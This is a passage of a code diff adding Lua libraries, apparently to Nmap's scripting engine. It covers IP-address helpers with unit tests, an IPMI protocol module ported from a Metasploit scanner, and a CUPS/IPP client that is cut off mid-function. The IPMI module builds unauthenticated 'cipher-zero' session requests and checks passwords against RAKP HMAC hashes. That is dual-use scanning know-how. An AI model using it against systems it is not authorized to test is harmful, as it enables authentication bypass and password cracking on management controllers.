+ for chunk in string.gmatch( binstring, pattern ) do
+ t[#t+1] = tonumber( chunk, 2 ) .. ""
+ end
+ return table.concat( t, "." )
+ end
+
+end
+
+
+
+local bin_lookup = {
+ ["0"]="0000",
+ ["1"]="0001",
+ ["2"]="0010",
+ ["3"]="0011",
+ ["4"]="0100",
+ ["5"]="0101",
+ ["6"]="0110",
+ ["7"]="0111",
+ ["8"]="1000",
+ ["9"]="1001",
+ ["a"]="1010",
+ ["b"]="1011",
+ ["c"]="1100",
+ ["d"]="1101",
+ ["e"]="1110",
+ ["f"]="1111",
+}
+setmetatable(bin_lookup, {
+ __index = function()
+ error("Error in ipOps.hex_to_bin: Expected string representing a hexadecimal number.")
+ end
+ })
+---
+-- Converts a string of hexadecimal digits into the corresponding string of
+-- binary digits.
+--
+-- Each hex digit results in four bits.
+-- @param hex String representing a hexadecimal number.
+-- @usage
+-- bin_string = ipOps.hex_to_bin( "F00D" )
+-- @return String representing the supplied number in binary digits (or
+-- <code>nil</code> in case of an error).
+-- @return String error message in case of an error.
+hex_to_bin = function( hex )
+ if type( hex ) ~= "string" then
+ return nil, "Error in ipOps.hex_to_bin: Expected string"
+ end
+
+ local status, result = pcall( string.gsub, string.lower(hex), ".", bin_lookup)
+ if status then
+ return result
+ end
+ return status, result
+end
+
+---
+-- Convert a CIDR subnet mask to dotted decimal notation.
+--
+-- @param subnet CIDR string representing the subnet mask.
+-- @usage
+-- local netmask = ipOps.cidr_to_subnet( "/16" )
+-- @return Dotted decimal representation of the suppliet subnet mask (e.g. "255.255.0.0")
+cidr_to_subnet = function( subnet )
+ local bits = subnet:match("/(%d%d)$")
+ if not bits then return nil end
+ return fromdword((0xFFFFFFFF >> tonumber(bits)) ~ 0xFFFFFFFF)
+end
+
+---
+-- Convert a dotted decimal subnet mask to CIDR notation.
+--
+-- @param subnet Dotted decimal string representing the subnet mask.
+-- @usage
+-- local cidr = ipOps.subnet_to_cidr( "255.255.0.0" )
+-- @return CIDR representation of the supplied subnet mask (e.g. "/16").
+subnet_to_cidr = function( subnet )
+ local dword, err = todword(subnet)
+ if not dword then return nil, err end
+ return "/" .. tostring(32 - (math.tointeger(math.log((dword ~ 0xFFFFFFFF) + 1, 2))))
+end
+
+--Ignore the rest if we are not testing.
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+test_suite:add_test(unittest.is_true(isPrivate("192.168.123.123")), "192.168.123.123 is private")
+test_suite:add_test(unittest.is_false(isPrivate("1.1.1.1")), "1.1.1.1 is not private")
+test_suite:add_test(unittest.equal(todword("65.66.67.68"),0x41424344), "todword")
+test_suite:add_test(unittest.equal(todword("127.0.0.1"),0x7f000001), "todword")
+test_suite:add_test(unittest.equal(fromdword(0xffffffff),"255.255.255.255"), "fromdword")
+test_suite:add_test(unittest.equal(fromdword(0x7f000001),"127.0.0.1"), "fromdword")
+test_suite:add_test(unittest.equal(str_to_ip("\x01\x02\x03\x04"),"1.2.3.4"), "str_to_ip (ipv4)")
+test_suite:add_test(unittest.equal(str_to_ip("\0\x01\xbe\xef\0\0\0\0\0\0\x02\x03\0\0\0\x01"),"1:beef::203:0:1"), "str_to_ip (ipv6)")
+test_suite:add_test(unittest.equal(str_to_ip(("\0"):rep(15) .. "\x01"),"::1"), "str_to_ip (ipv6)")
+test_suite:add_test(function()
+ local parts, err = get_parts_as_number("8.255.0.1")
+ if parts == nil then return false, err end
+ if parts[1] == 8 and parts[2] == 255 and parts[3] == 0 and parts[4] == 1 then
+ return true
+ end
+ return false, string.format("Expected {8, 255, 0, 1}, got {%d, %d, %d, %d}", table.unpack(parts))
+end, "get_parts_as_number")
+
+do
+ local low_ip4 = "192.168.1.10"
+ local high_ip4 = "192.168.10.1"
+ local low_ip6 = "2001::DEAD:0:0:9"
+ local high_ip6 = "2001::DEAF:0:0:9"
+ for _, op in ipairs({
+ {low_ip4, "eq", low_ip4, unittest.is_true, "IPv4"},
+ {low_ip6, "eq", low_ip6, unittest.is_true, "IPv6"},
+ {high_ip4, "eq", low_ip4, unittest.is_false, "IPv4"},
+ {high_ip6, "eq", low_ip6, unittest.is_false, "IPv6"},
+ {low_ip4, "eq", low_ip6, unittest.is_false, "mixed"},
+ {low_ip4, "ne", low_ip4, unittest.is_false, "IPv4"},
+ {low_ip6, "ne", low_ip6, unittest.is_false, "IPv6"},
+ {high_ip4, "ne", low_ip4, unittest.is_true, "IPv4"},
+ {high_ip6, "ne", low_ip6, unittest.is_true, "IPv6"},
+ {low_ip4, "ne", low_ip6, unittest.is_true, "mixed"},
+ {low_ip4, "ge", low_ip4, unittest.is_true, "IPv4, equal"},
+ {low_ip6, "ge", low_ip6, unittest.is_true, "IPv6, equal"},
+ {high_ip4, "ge", low_ip4, unittest.is_true, "IPv4"},
+ {high_ip6, "ge", low_ip6, unittest.is_true, "IPv6"},
+ {low_ip4, "ge", high_ip4, unittest.is_false, "IPv4"},
+ {low_ip6, "ge", high_ip6, unittest.is_false, "IPv6"},
+ {low_ip6, "ge", low_ip4, unittest.is_true, "mixed"},
+ {low_ip4, "ge", low_ip6, unittest.is_false, "mixed"},
+ {low_ip4, "le", low_ip4, unittest.is_true, "IPv4, equal"},
+ {low_ip6, "le", low_ip6, unittest.is_true, "IPv6, equal"},
+ {high_ip4, "le", low_ip4, unittest.is_false, "IPv4"},
+ {high_ip6, "le", low_ip6, unittest.is_false, "IPv6"},
+ {low_ip4, "le", high_ip4, unittest.is_true, "IPv4"},
+ {low_ip6, "le", high_ip6, unittest.is_true, "IPv6"},
+ {low_ip6, "le", low_ip4, unittest.is_false, "mixed"},
+ {low_ip4, "le", low_ip6, unittest.is_true, "mixed"},
+ {low_ip4, "gt", low_ip4, unittest.is_false, "IPv4, equal"},
+ {low_ip6, "gt", low_ip6, unittest.is_false, "IPv6, equal"},
+ {high_ip4, "gt", low_ip4, unittest.is_true, "IPv4"},
+ {high_ip6, "gt", low_ip6, unittest.is_true, "IPv6"},
+ {low_ip4, "gt", high_ip4, unittest.is_false, "IPv4"},
+ {low_ip6, "gt", high_ip6, unittest.is_false, "IPv6"},
+ {low_ip6, "gt", low_ip4, unittest.is_true, "mixed"},
+ {low_ip4, "gt", low_ip6, unittest.is_false, "mixed"},
+ {low_ip4, "lt", low_ip4, unittest.is_false, "IPv4, equal"},
+ {low_ip6, "lt", low_ip6, unittest.is_false, "IPv6, equal"},
+ {high_ip4, "lt", low_ip4, unittest.is_false, "IPv4"},
+ {high_ip6, "lt", low_ip6, unittest.is_false, "IPv6"},
+ {low_ip4, "lt", high_ip4, unittest.is_true, "IPv4"},
+ {low_ip6, "lt", high_ip6, unittest.is_true, "IPv6"},
+ {low_ip6, "lt", low_ip4, unittest.is_false, "mixed"},
+ {low_ip4, "lt", low_ip6, unittest.is_true, "mixed"},
+ }) do
+ test_suite:add_test(op[4](compare_ip(op[1], op[2], op[3])),
+ string.format("compare_ip(%s, %s, %s) (%s)", op[1], op[2], op[3], op[5]))
+ end
+end
+
+do
+ for _, h in ipairs({
+ {"a", "1010"},
+ {"aA", "10101010"},
+ {"12", "00010010"},
+ {"54321", "01010100001100100001"},
+ {"123error", false},
+ {"", ""},
+ {"bad 123", false},
+ }) do
+ test_suite:add_test(unittest.equal(hex_to_bin(h[1]), h[2]))
+ end
+end
+
+do
+ for _, op in ipairs({
+ {"192.168.13.1", "192/8", unittest.is_true, "IPv4 CIDR"},
+ {"193.168.13.1", "192/8", unittest.is_false, "IPv4 CIDR"},
+ {"192.168.13.0", "192.168.13.128/24", unittest.is_true, "IPv4 CIDR"},
+ {"193.168.13.0", "192.168.13.128/24", unittest.is_false, "IPv4 CIDR"},
+ {"2001:db8::9", "2001:db8/32", unittest.is_true, "IPv6 CIDR"},
+ {"2001:db7::9", "2001:db8/32", unittest.is_false, "IPv6 CIDR"},
+ {"2001:db8::9", "2001:db8::1:0/32", unittest.is_true, "IPv6 CIDR"},
+ {"2001:db7::9", "2001:db8::1:0/32", unittest.is_false, "IPv6 CIDR"},
+ {"192.168.13.1", "192.168.10.33-192.168.80.80", unittest.is_true, "IPv4 range"},
+ {"193.168.13.1", "192.168.1.1 - 192.168.5.0", unittest.is_false, "IPv4 range"},
+ {"2001:db8::9", "2001:db8::1-2001:db8:1::1", unittest.is_true, "IPv6 range"},
+ {"2001:db8::9", "2001:db8:10::1-2001:db8:11::1", unittest.is_false, "IPv6 range"},
+ {"193.168.1.1", "192.168.1.1 - 2001:db8::1", unittest.is_nil, "mixed"},
+ {"2001:db8::1", "192.168.1.1 - 2001:db8::1", unittest.is_nil, "mixed"},
+ }) do
+ test_suite:add_test(op[3](ip_in_range(op[1], op[2])),
+ string.format("ip_in_range(%s, %s) (%s)", op[1], op[2], op[4]))
+ end
+end
+
+do
+ for _, op in ipairs({
+ {"192.168", nil, "192.168.0.0", "IPv4 trunc"},
+ {"192.0.2.3", nil, "192.0.2.3", "IPv4"},
+ {"192.168", "inet6", "0:0:0:0:0:ffff:c0a8:0", "IPv4 trunc to IPv6"},
+ {"2001:db8::9", nil, "2001:db8:0:0:0:0:0:9", "IPv6"},
+ {"::ffff:192.0.2.128", "inet6", "0:0:0:0:0:ffff:c000:280", "IPv4-mapped to IPv6"},
+ -- TODO: Perhaps we should support extracting IPv4 from IPv4-mapped addresses?
+ --{"::ffff:192.0.2.128", "inet4", "192.0.2.128", "IPv4-mapped to IPv4"},
+ --{"::ffff:c000:0280", "inet4", "192.0.2.128", "IPv4-mapped to IPv4"},
+ }) do
+ test_suite:add_test(unittest.equal(expand_ip(op[1], op[2]), op[3]),
+ string.format("expand_ip(%s, %s) (%s)", op[1], op[2], op[4]))
+ end
+ test_suite:add_test(unittest.is_nil(expand_ip("2001:db8::1", "ipv4")),
+ "IPv6 to IPv4")
+end
+test_suite:add_test(unittest.equal(cidr_to_subnet("/16"), "255.255.0.0"), "cidr_to_subnet")
+test_suite:add_test(unittest.equal(subnet_to_cidr("255.255.0.0"), "/16"), "subnet_to_cidr")
+
+return _ENV;
diff --git a/nselib/ipmi.lua b/nselib/ipmi.lua
new file mode 100644
index 0000000..ce193f9
--- /dev/null
+++ b/nselib/ipmi.lua
@@ -0,0 +1,306 @@
+---
+-- A module implementing IPMI protocol (the code is a porting of the Metasploit ipmi scanner:
+-- https://github.com/rapid7/metasploit-framework/tree/master/modules/auxiliary/scanner/ipmi)
+--
+-- @class module
+-- @name ipmi
+-- @author "Claudiu Perta <claudiu.perta@gmail.com>"
+local stdnse = require "stdnse"
+local string = require "string"
+local rand = require "rand"
+
+_ENV = stdnse.module("ipmi", stdnse.seeall)
+
+local HAVE_SSL, openssl = pcall(require,"openssl")
+
+PAYLOADS = {
+ ["IPMI"] = 0,
+ ["PAYLOAD_SOL"] = 1,
+ ["RMCPPLUSOPEN_REQ"] = 0x10,
+ ["RMCPPLUSOPEN_REP"] = 0x11,
+ ["RAKP1"] = 0x12,
+ ["RAKP2"] = 0x13,
+ ["RAKP3"] = 0x14,
+ ["RAKP4"] = 0x15,
+}
+
+RMCP_ERRORS = {
+ [1] = "Insufficient resources to create new session \
+ (wait for existing sessions to timeout)",
+
+ -- Shouldn't occur.
+ [2] = "Invalid Session ID",
+
+ -- Shouldn't occur.
+ [3] = "Invalid payload type",
+
+ -- If these happen, we need to enhance our mechanism for detecting
+ -- supported auth algorithms.
+ [4] = "Invalid authentication algorithm",
+ [5] = "Invalid integrity algorithm",
+
+ [6] = "No matching authentication payload",
+ [7] = "No matching integrity payload",
+
+ -- This suggests the session was timed out while trying to negotiate,
+ -- shouldn't happen.
+ [8] = "Inactive Session ID",
+
+ [9] = "Invalid role",
+ [0xa] = "Unauthorised role or privilege level requested",
+ [0xb] = "Insufficient resources to create a session at the requested role",
+ [0xc] = "Invalid username length",
+ [0xd] = "Unauthorized name",
+ [0xe] = "Unauthorized GUID",
+ [0xf] = "Invalid integrity check value",
+ [0x10] = "Invalid confidentiality algorithm",
+ [0x11] = "No cipher suite match with proposed security algorithms",
+
+ -- Never observed, most likely a bug in xCAT or IPMI device.
+ [0x12] = "Illegal or unrecognized parameter",
+}
+
+channel_auth_request = function()
+ return (
+ "\x06\x00\xff\x07" .. -- Header
+ "\x00\x00\x00\x00" ..
+ "\x00\x00\x00\x00\x00\x09\x20\x18" ..
+ "\xc8\x81\x00\x38\x8e\x04\xb5"
+ )
+end
+
+rmcpplus_header = function (payload_type)
+ return (
+ "\x06\x00\xff\x07" .. -- RMCP Header
+ "\x06" .. -- RMCP+ Authentication Type
+ string.char(PAYLOADS[payload_type]) .. -- Payload Type
+ "\x00\x00\x00\x00" .. -- Session ID
+ "\x00\x00\x00\x00" -- Sequence Number
+ )
+end
+
+-- Open rmcpplus_request
+session_open_request = function(console_session_id)
+ local data = (
+ "\x00\x00" .. -- Maximum Access
+ "\x00\x00" .. -- Reserved
+ console_session_id ..
+ "\x00\x00\x00\x08" ..
+ "\x01\x00\x00\x00" ..
+ "\x01\x00\x00\x08" ..
+ "\x01\x00\x00\x00" .. -- HMAC-SHA1
+ "\x02\x00\x00\x08" ..
+ "\x01\x00\x00\x00" -- AES Encryption
+ )
+
+ return rmcpplus_header("RMCPPLUSOPEN_REQ") .. string.pack("<s2", data)
+end
+
+-- Open rmcpplus_request
+session_open_cipher_zero_request = function(console_session_id)
+ console_session_id = console_session_id or rand.random_string(4)
+
+ local data = (
+ "\x00\x00" .. -- Maximum Access
+ "\x00\x00" .. -- Reserved
+ console_session_id ..
+ "\x00\x00\x00\x08" ..
+ "\x00\x00\x00\x00" .. -- Cipher-zero
+ "\x01\x00\x00\x08" ..
+ "\x00\x00\x00\x00" .. -- Cipher-zero
+ "\x02\x00\x00\x08" ..
+ "\x00\x00\x00\x00" -- No Encryption
+ )
+
+ return rmcpplus_header("RMCPPLUSOPEN_REQ") .. string.pack("<s2", data)
+end
+
+rakp_1_request = function(bmc_session_id, console_random_id, username)
+ local data = string.pack(
+ "<Bxxx I c16 Bxx s1",
+ 0, -- Message Tag
+ bmc_session_id,
+ console_random_id,
+ 0x14, -- Privilege level
+ username
+ )
+
+ return rmcpplus_header("RAKP1") .. string.pack("<s2", data)
+end
+
+rakp_hmac_sha1_salt = function(
+ console_session_id,
+ bmc_session_id,
+ console_random_id,
+ bmc_random_id,
+ bmc_guid,
+ authorization_level,
+ username)
+
+ local salt = string.pack(
+ "c4 I c16c16c16 Bs1",
+ console_session_id,
+ bmc_session_id,
+ console_random_id,
+ bmc_random_id,
+ bmc_guid,
+ authorization_level,
+ username
+ )
+
+ return salt
+
+end
+
+verify_rakp_hmac_sha1 = function(salt, hash, password)
+ if not(HAVE_SSL) then
+ return false
+ end
+
+ local digest = openssl.hmac('sha1', password, salt)
+ return (digest == hash)
+end
+
+--[[
+Multi-byte fields in RMCP/ASF fields are specified as being transmitted in
+'Network Byte Order' - meaning most-significant byte first.
+RMCP and ASF-specified fields are therefore transferred most-significant byte
+first.
+The IPMI convention is to transfer multi-byte numeric fields least-significant
+Byte first. Therefore, unless otherwise specified:
+Data in the IPMI Session Header and IPMI Message fields are transmitted
+least-significant byte first.
+--]]
+
+parse_channel_auth_reply = function(reply)
+ local data = {}
+ local pos = 1
+ local value
+
+ data.rmcp_version,
+ data.rmcp_padding,
+ data.rmcp_sequence,
+ value, pos = string.unpack("<BBBB", reply, pos)
+
+ data.rmcp_mtype = ((value & 0x80) ~= 0)
+ data.rmcp_class = (value & 0x7F)
+
+ data.session_auth_type,
+ data.session_sequence,
+ data.session_id,
+ data.message_length,
+ data.ipmi_tgt_address,
+ data.ipmi_tgt_lun,
+ data.ipmi_header_checksum,
+ data.ipmi_src_address,
+ data.ipmi_src_lun,
+ data.ipmi_command,
+ data.ipmi_completion_code,
+ data.ipmi_channel,
+ value, pos = string.unpack("<BI4I4BBBBBBBBBB", reply, pos)
+
+ data.ipmi_compat_20 = ((value & 0x80) ~= 0)
+ data.ipmi_compat_reserved1 = ((value & 0x40) ~= 0)
+ data.ipmi_compat_oem_auth = ((value & 0x20) ~= 0)
+ data.ipmi_compat_password = ((value & 0x10) ~= 0)
+ data.ipmi_compat_reserved2 = ((value & 0x08) ~= 0)
+ data.ipmi_compat_md5 = ((value & 0x04) ~= 0)
+ data.ipmi_compat_md2 = ((value & 0x02) ~= 0)
+ data.ipmi_compat_none = ((value & 0x01) ~= 0)
+
+ value, pos = string.unpack("B", reply, pos)
+ data.ipmi_user_reserved1 = ((value >> 6) & 0x03)
+ data.ipmi_user_kg = ((value & 0x20) ~= 0)
+ data.ipmi_user_disable_message_auth = ((value & 0x10) ~= 0)
+ data.ipmi_user_disable_user_auth = ((value & 0x08) ~= 0)
+ data.ipmi_user_non_null = ((value & 0x04) ~= 0)
+ data.ipmi_user_null = ((value & 0x02) ~= 0)
+ data.ipmi_user_anonymous = ((value & 0x01) ~= 0)
+
+ value, pos = string.unpack("B", reply, pos)
+ data.ipmi_conn_reserved1 = ((value >> 2) & 0x3F)
+ data.ipmi_conn_20 = ((value & 0x02) ~= 0)
+ data.ipmi_conn_15 = ((value & 0x01) ~= 0)
+
+ -- 24 bits OEMID
+ data.ipmi_oem_id, pos = string.unpack("<I3", reply, pos)
+ data.ipmi_oem_data = reply:sub(pos)
+
+ return data
+end
+
+parse_open_session_reply = function(reply)
+ local data = {}
+ local pos = 1
+ local value
+
+ -- 4 bytes Header
+ data.rmcp_version,
+ data.rmcp_padding,
+ data.rmcp_sequence,
+ value, pos = string.unpack("BBBB", reply, pos)
+ -- bit 1
+ data.rmcp_mtype = ((value & 0x80) ~= 0)
+ -- bit [2:8]
+ data.rmcp_class = (value & 0x7F)
+
+ data.session_auth_type,
+ value, pos = string.unpack("BB", reply, pos)
+ -- bit 1
+ data.session_payload_encrypted = ((value & 0x80) ~= 0)
+ -- bit 2
+ data.session_payload_authenticated = ((value & 0x40) ~= 0)
+ -- bit [3:8]
+ data.session_payload_type = (value & 0x3F)
+
+ data.session_id,
+ data.session_sequence,
+ data.message_length,
+ data.ignored1,
+ data.error_code,
+ data.ignored2,
+ data.console_session_id,
+ data.bmc_session_id, pos = string.unpack("<I4I4I2BBI2I4I4", reply, pos)
+
+ return data
+end
+
+parse_rakp_1_reply = function(reply)
+ local data = {}
+ local pos = 1
+ local value
+
+ -- 4 bytes Header
+ data.rmcp_version,
+ data.rmcp_padding,
+ data.rmcp_sequence,
+ value, pos = string.unpack("BBBB", reply, pos)
+ -- bit 1
+ data.rmcp_mtype = ((value & 0x80) ~= 0)
+ -- bit [2:8]
+ data.rmcp_class = (value & 0x7F)
+
+ data.session_auth_type,
+ value, pos = string.unpack("BB", reply, pos)
+ -- bit 1
+ data.session_payload_encrypted = ((value & 0x80) ~= 0)
+ -- bit 2
+ data.session_payload_authenticated = ((value & 0x40) ~= 0)
+ -- bit [3:8]
+ data.session_payload_type = (value & 0x3F)
+
+ data.session_id,
+ data.session_sequence,
+ data.message_length,
+ data.ignored1,
+ data.error_code,
+ data.ignored2,
+ data.console_session_id,
+ data.bmc_random_id,
+ data.bmc_guid,
+ data.hmac_sha1, pos = string.unpack("<I4I4I2BBI2I4c16c16c20", reply, pos)
+
+ return data
+end
+
+return _ENV;
diff --git a/nselib/ipp.lua b/nselib/ipp.lua
new file mode 100644
index 0000000..d3a7be2
--- /dev/null
+++ b/nselib/ipp.lua
@@ -0,0 +1,438 @@
+local datetime = require "datetime"
+local http = require "http"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+_ENV = stdnse.module("ipp", stdnse.seeall)
+
+---
+--
+-- A small CUPS ipp (Internet Printing Protocol) library implementation
+--
+-- @author Patrik Karlsson
+--
+
+-- The IPP layer
+IPP = {
+
+ StatusCode = {
+ OK = 0,
+ },
+
+ State = {
+ IPP_JOB_PENDING = 3,
+ IPP_JOB_HELD = 4,
+ IPP_JOB_PROCESSING = 5,
+ IPP_JOB_STOPPED = 6,
+ IPP_JOB_CANCELED = 7,
+ IPP_JOB_ABORTED = 8,
+ IPP_JOB_COMPLETED = 9,
+ },
+
+ StateName = {
+ [3] = "Pending",
+ [4] = "Held",
+ [5] = "Processing",
+ [6] = "Stopped",
+ [7] = "Canceled",
+ [8] = "Aborted",
+ [9] = "Completed",
+ },
+
+ OperationID = {
+ IPP_CANCEL_JOB = 0x0008,
+ IPP_GET_JOB_ATTRIBUTES = 0x0009,
+ IPP_GET_JOBS = 0x000a,
+ CUPS_GET_PRINTERS = 0x4002,
+ CUPS_GET_DOCUMENT = 0x4027
+ },
+
+ PrinterState = {
+ IPP_PRINTER_IDLE = 3,
+ IPP_PRINTER_PROCESSING = 4,
+ IPP_PRINTER_STOPPED = 5,
+ },
+
+ Attribute = {
+
+ IPP_TAG_OPERATION = 0x01,
+ IPP_TAG_JOB = 0x02,
+ IPP_TAG_END = 0x03,
+ IPP_TAG_PRINTER = 0x04,
+ IPP_TAG_INTEGER = 0x21,
+ IPP_TAG_ENUM = 0x23,
+ IPP_TAG_NAME = 0x42,
+ IPP_TAG_KEYWORD = 0x44,
+ IPP_TAG_URI = 0x45,
+ IPP_TAG_CHARSET = 0x47,
+ IPP_TAG_LANGUAGE = 0x48,
+
+ new = function(self, tag, name, value)
+ local o = { tag = tag, name = name, value = value }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ parse = function(data, pos)
+ local attrib = IPP.Attribute:new()
+ local val
+ attrib.tag, attrib.name, val, pos = string.unpack(">Bs2s2", data, pos)
+ attrib.value = {}
+ table.insert(attrib.value, { tag = attrib.tag, val = val })
+
+ repeat
+ local tag, name_len, val
+
+ if ( #data < pos + 3 ) then
+ break
+ end
+
+ tag, name_len, pos = string.unpack(">BI2", data, pos)
+ if ( name_len == 0 ) then
+ val, pos = string.unpack(">s2", data, pos)
+ table.insert(attrib.value, { tag = tag, val = val })
+ else
+ pos = pos - 3
+ end
+ until( name_len ~= 0 )
+
+ -- do minimal decoding
+ for i=1, #attrib.value do
+ if ( attrib.value[i].tag == IPP.Attribute.IPP_TAG_INTEGER ) then
+ attrib.value[i].val = string.unpack(">I4", attrib.value[i].val)
+ elseif ( attrib.value[i].tag == IPP.Attribute.IPP_TAG_ENUM ) then
+ attrib.value[i].val = string.unpack(">I4", attrib.value[i].val)
+ end
+ end
+
+ if ( 1 == #attrib.value ) then
+ attrib.value = attrib.value[1].val
+ end
+ --print(attrib.name, attrib.value, stdnse.tohex(val))
+
+ return pos, attrib
+ end,
+
+ __tostring = function(self)
+ if ( "string" == type(self.value) ) then
+ return string.pack(">Bs2s2", self.tag, self.name, self.value)
+ else
+ local data = {string.pack(">Bs2s2", self.tag, self.name, self.value[1].val)}
+ for i=2, #self.value do
+ data[#data+1] = string.pack(">BI2s2", self.value[i].tag, 0, self.value[i].val)
+ end
+ return table.concat(data)
+ end
+ end
+
+ },
+
+ -- An attribute group, groups several attributes
+ AttributeGroup = {
+
+ new = function(self, tag, attribs)
+ local o = { tag = tag, attribs = attribs or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ addAttribute = function(self, attrib)
+ table.insert(self.attribs, attrib)
+ end,
+
+ --
+ -- Gets the first attribute matching name and optionally tag from the
+ -- attribute group.
+ --
+ -- @param name string containing the attribute name
+ -- @param tag number containing the attribute tag
+ getAttribute = function(self, name, tag)
+ for _, attrib in ipairs(self.attribs) do
+ if ( attrib.name == name ) then
+ if ( not(tag) ) then
+ return attrib
+ elseif ( tag and attrib.tag == tag ) then
+ return attrib
+ end
+ end
+ end
+ end,
+
+ getAttributeValue = function(self, name, tag)
+ for _, attrib in ipairs(self.attribs) do
+ if ( attrib.name == name ) then
+ if ( not(tag) ) then
+ return attrib.value
+ elseif ( tag and attrib.tag == tag ) then
+ return attrib.value
+ end
+ end
+ end
+ end,
+
+ __tostring = function(self)
+ local data = {string.pack("B", self.tag)}
+
+ for _, attrib in ipairs(self.attribs) do
+ data[#data+1] = tostring(attrib)
+ end
+ return table.concat(data)
+ end
+
+ },
+
+ -- The IPP request
+ Request = {
+
+ new = function(self, opid, reqid)
+ local o = {
+ version = 0x0101,
+ opid = opid,
+ reqid = reqid,
+ attrib_groups = {},
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ addAttributeGroup = function(self, group)
+ table.insert( self.attrib_groups, group )
+ end,
+
+ __tostring = function(self)
+ local data = {string.pack(">I2I2I4", self.version, self.opid, self.reqid )}
+
+ for _, group in ipairs(self.attrib_groups) do
+ data[#data+1] = tostring(group)
+ end
+ data[#data+1] = string.pack("B", IPP.Attribute.IPP_TAG_END)
+ return table.concat(data)
+ end,
+
+ },
+
+ -- A class to handle responses from the server
+ Response = {
+
+ -- Creates a new instance of response
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ getAttributeGroups = function(self, tag)
+ local groups = {}
+ for _, v in ipairs(self.attrib_groups or {}) do
+ if ( v.tag == tag ) then
+ table.insert(groups, v)
+ end
+ end
+ return groups
+ end,
+
+ parse = function(data)
+ local resp = IPP.Response:new()
+ local pos
+
+ resp.version, resp.status, resp.reqid, pos = string.unpack(">I2I2I4", data)
+
+ resp.attrib_groups = {}
+ local group = nil
+ repeat
+ local tag = data:byte(pos, pos)
+
+ if ( tag == IPP.Attribute.IPP_TAG_OPERATION or
+ tag == IPP.Attribute.IPP_TAG_JOB or
+ tag == IPP.Attribute.IPP_TAG_PRINTER or
+ tag == IPP.Attribute.IPP_TAG_END ) then
+
+ if group then
+ table.insert(resp.attrib_groups, group)
+ end
+ if tag ~= IPP.Attribute.IPP_TAG_END then
+ group = IPP.AttributeGroup:new(tag)
+ else
+ group = nil
+ end
+ pos = pos + 1
+ else
+ if not group then
+ stdnse.debug2("Unexpected tag: %d", tag)
+ return
+ end
+ local attrib
+ pos, attrib = IPP.Attribute.parse(data, pos)
+ group:addAttribute(attrib)
+ end
+ until pos > #data
+
+ return resp
+ end,
+
+ },
+
+
+}
+
+HTTP = {
+
+ Request = function(host, port, request)
+ local headers = {
+ ['Content-Type'] = 'application/ipp',
+ ['User-Agent'] = 'CUPS/1.5.1',
+ }
+ port.version.service_tunnel = "ssl"
+ local http_resp = http.post(host, port, '/', { header = headers }, nil, tostring(request))
+ if ( http_resp.status ~= 200 ) then
+ return false, "Unexpected response from server"
+ end
+
+ local response = IPP.Response.parse(http_resp.body)
+ if ( not(response) ) then
+ return false, "Failed to parse response"
+ end
+
+ return true, response
+ end,
+
+}
+
+
+Helper = {
+
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 10000)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ getPrinters = function(self)
+
+ local attribs = {
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_CHARSET, "attributes-charset", "utf-8" ),
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_LANGUAGE, "attributes-natural-language", "en"),
+ }
+
+ local ag = IPP.AttributeGroup:new(IPP.Attribute.IPP_TAG_OPERATION, attribs)
+ local request = IPP.Request:new(IPP.OperationID.CUPS_GET_PRINTERS, 1)
+ request:addAttributeGroup(ag)
+
+ local status, response = HTTP.Request( self.host, self.port, tostring(request) )
+ if ( not(response) ) then
+ return status, response
+ end
+
+ local printers = {}
+
+ for _, ag in ipairs(response:getAttributeGroups(IPP.Attribute.IPP_TAG_PRINTER)) do
+ local attrib = {
+ ["printer-name"] = "name",
+ ["printer-location"] = "location",
+ ["printer-make-and-model"] = "model",
+ ["printer-state"] = "state",
+ ["queued-job-count"] = "queue_count",
+ ["printer-dns-sd-name"] = "dns_sd_name",
+ }
+
+ local printer = {}
+ for k, v in pairs(attrib) do
+ if ( ag:getAttributeValue(k) ) then
+ printer[v] = ag:getAttributeValue(k)
+ end
+ end
+ table.insert(printers, printer)
+ end
+ return true, printers
+ end,
+
+ getQueueInfo = function(self, uri)
+ local uri = uri or ("ipp://%s/"):format(self.host.ip)
+
+ local attribs = {
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_CHARSET, "attributes-charset", "utf-8" ),
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_LANGUAGE, "attributes-natural-language", "en-us"),
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_URI, "printer-uri", uri),
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_KEYWORD, "requested-attributes", {
+ -- { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-originating-host-name"},
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "com.apple.print.JobInfo.PMJobName"},
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "com.apple.print.JobInfo.PMJobOwner"},
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-id" },
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-k-octets" },
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-name" },
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-state" },
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "printer-uri" },
+ -- { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-originating-user-name" },
+ -- { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-printer-state-message" },
+ -- { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "job-printer-uri" },
+ { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "time-at-creation" } } ),
+ IPP.Attribute:new(IPP.Attribute.IPP_TAG_KEYWORD, "which-jobs", "not-completed" )
+ }
+
+ local ag = IPP.AttributeGroup:new(IPP.Attribute.IPP_TAG_OPERATION, attribs)
